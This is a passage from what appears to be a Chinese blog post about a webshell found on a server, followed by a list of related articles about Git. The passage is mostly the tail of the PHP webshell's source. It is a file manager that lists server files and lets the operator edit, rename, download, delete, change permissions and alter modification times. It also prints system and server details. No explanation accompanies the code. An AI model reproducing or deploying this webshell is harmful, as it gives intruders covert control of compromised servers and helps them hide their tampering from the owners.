'<td>' . $ctime . '</td>';echo '<td>' . $mtime . '</td>';echo '<td>-</td>';echo '</tr>';$dnum++;}foreach ($array['file'] as $path => $name) {$prem  = substr(decoct(fileperms($path)), -4);$ctime = date('Y-m-d H:i:s', filectime($path));$mtime = date('Y-m-d H:i:s', filemtime($path));$size  = size(filesize($path));echo '<tr>';echo '<td><input type="checkbox" name="files[]" value="' . $name . '"><a target="_blank" href="' . $thisurl . $name . '">' . strtr($name, array('%27' => '\'','%22' => '"')) . '</a></td>';echo '<td><a href="javascript:void(0);" οnclick="go(\'edit\',\'' . $name . '\');">编辑</a> ';echo '<a href="javascript:void(0);" οnclick="acts(\'' . $name . '\',\'rf\',\'' . $name . '\');">改名</a></td>';echo '<td><a href="javascript:void(0);" οnclick="acts(\'' . $prem . '\',\'pd\',\'' . $name . '\');">' . $prem . '</a></td>';echo '<td>' . $ctime . '</td>';echo '<td>' . $mtime . '</td>';echo '<td align="right"><a href="javascript:void(0);" οnclick="go(\'down\',\'' . $name . '\');">' . $size . '</a></td>';echo '</tr>';$fnum++;}}unset($array);echo '</table>';echo '<div class="actall" style="text-align:left;">';echo '<input type="checkbox" id="chkall" name="chkall" value="on" οnclick="sa(this.form);"> ';echo '<input type="button" value="复制" style="width:50px;" οnclick=\'txts("复制路径","' . $nowdir . '","a");\'> ';echo '<input type="button" value="删除" style="width:50px;" οnclick=\'dels("b");\'> ';echo '<input type="button" value="属性" style="width:50px;" οnclick=\'txts("属性值","0666","c");\'> ';echo '<input type="button" value="时间" style="width:50px;" οnclick=\'txts("修改时间","' . $mtime . '","d");\'> ';echo '目录[' . $dnum . '] - 文件[' . $fnum . ']</div></form>';break;
}
?><div class="footag"><?php
echo php_uname() . '<br>' . $_SERVER['SERVER_SOFTWARE'];
?></div></div></div></body></html><?php
unset($array);
?>

2018-5-31 服务器上一个webshell相关推荐

  1. 【转】Git详解之四 服务器上的Git

    服务器上的 Git 到目前为止,你应该已经学会了使用 Git 来完成日常工作.然而,如果想与他人合作,还需要一个远程的 Git 仓库.尽管技术上可以从个人的仓库里推送和拉取修改内容,但我们不鼓励这样做 ...

  2. Git详解之四:服务器上的Git

    原文:<Pro Git> 服务器上的 Git 到目前为止,你应该已经学会了使用 Git 来完成日常工作.然而,如果想与他人合作,还需要一个远程的 Git 仓库.尽管技术上可以从个人的仓库里 ...

  3. [转]Git详解之四 服务器上的Git

    服务器上的 Git 到目前为止,你应该已经学会了使用 Git 来完成日常工作.然而,如果想与他人合作,还需要一个远程的 Git 仓库.尽管技术上可以从个人的仓库里推送和拉取修改内容,但我们不鼓励这样做 ...

  4. Git详解之四 服务器上的Git

    Git详解之四 服务器上的Git 服务器上的 Git 到目前为止,你应该已经学会了使用 Git来完成日常工作.然而,如果想与他人合作,还需要一个远程的 Git仓库.尽管技术上可以从个人的仓库里推送和拉 ...

  5. git学习——服务器上的 Git

    服务器上的 Git 到目前为止,你应该已经学会了使用 Git 来完成日常的工作.然而,如果想与他人合作,还需要一个远程的 Git 仓库.尽管技术上可以从个人的仓库里推送和拉取改变,但是我们不鼓励这样做 ...

  6. 科普文:服务器上如何 Node 多版本共存 #31

    科普文:服务器上如何 Node 多版本共存 #31 背景 很多公司的服务器环境没有做隔离,就是全局安装一个 Node.js Runtime,一般很少升级. nvs / nvm 等可以用来切换版本,但无 ...

  7. asp activex 读取服务器上的文件,webshell中上传asp文件调用服务器ActiveX控件溢出获取shell...

    Team: http://www.ph4nt0m.org Author: 云舒(http://www.icylife.net) Date: 2008-02-19 做windows系统渗透测试的时候有w ...

  8. 在现有oracle服务器上新建一个oracle实例

    一 概述 假如一台服务器上已经安装了一个单机版的oracle实例orcl,这时想在这台服务器上再部署一个单机版的oracle实例ystat,则可以参考该文档进行部署. 注意:新实例名不要带特殊字符,下 ...

  9. linux服务器上使用find查杀webshell木马方法

    linux服务器上使用find查杀webshell木马方法 本文转自:http://ju.outofmemory.cn/entry/256317 只要从事互联网web开发的,都会碰上web站点被入侵的 ...

最新文章

  1. (C++)1012 数字分类
  2. Convert Plant to Retail Site Master
  3. Unity3D 简单的倒计时
  4. freebsd 下安装桌面
  5. Python 技巧篇-让我的程序暂停一下
  6. Codeforces Round #636 (Div. 3) E. Weights Distributing 思维 + bfs
  7. LeetCode 2049. 统计最高分的节点数目(DFS)
  8. delphi中move函数的用法 转
  9. java管理系统代码bs_基于BS的人力资源管理系统 - WEB源码|JSP源码/Java|源代码 - 源码中国...
  10. linux frame buffer 显示图片 没有颜色,新路程----linux framebuffer显示图片c程序
  11. EMQ MQTT云服务器搭建 - 阿里云轻量应用服务器
  12. 【WCF】错误处理(二):错误码―—FaultCode
  13. 数据结构与算法(C语言版)——陈越
  14. STM32F107之CAN配置
  15. 积分商城使用教程之优惠券
  16. 趋势线与123法则应用图解,很多大佬偷偷在用
  17. “窗体”工具栏控件和“控件工具箱”控件基础
  18. Hdu1329Hanoi Tower Troubles Again!
  19. sql中向下取整怎么取_Sql 获取向上取整、向下取整、四舍五入取整
  20. 带你简化理解Spring 基于注解配置的原理

热门文章

  1. User Experience Design and Information Architecture
  2. Django文件部署(1.准备工作)(全)
  3. 异步电机与同步电机的发电机状态与电动机状态理解
  4. 未雨绸缪:理解软件配置管理(第2版)
  5. 手把手教你完成一个数据科学小项目(7):经纬度获取与BDP可视化
  6. 如何在插入网线的情况下,使用wifi上网
  7. 小程序毕设作品之微信美食菜谱小程序毕业设计成品(8)毕业设计论文模板
  8. 数论相关_最大公约数最小公倍数
  9. 愿你走出半生 归来仍是少年
  10. (3.6)Case用法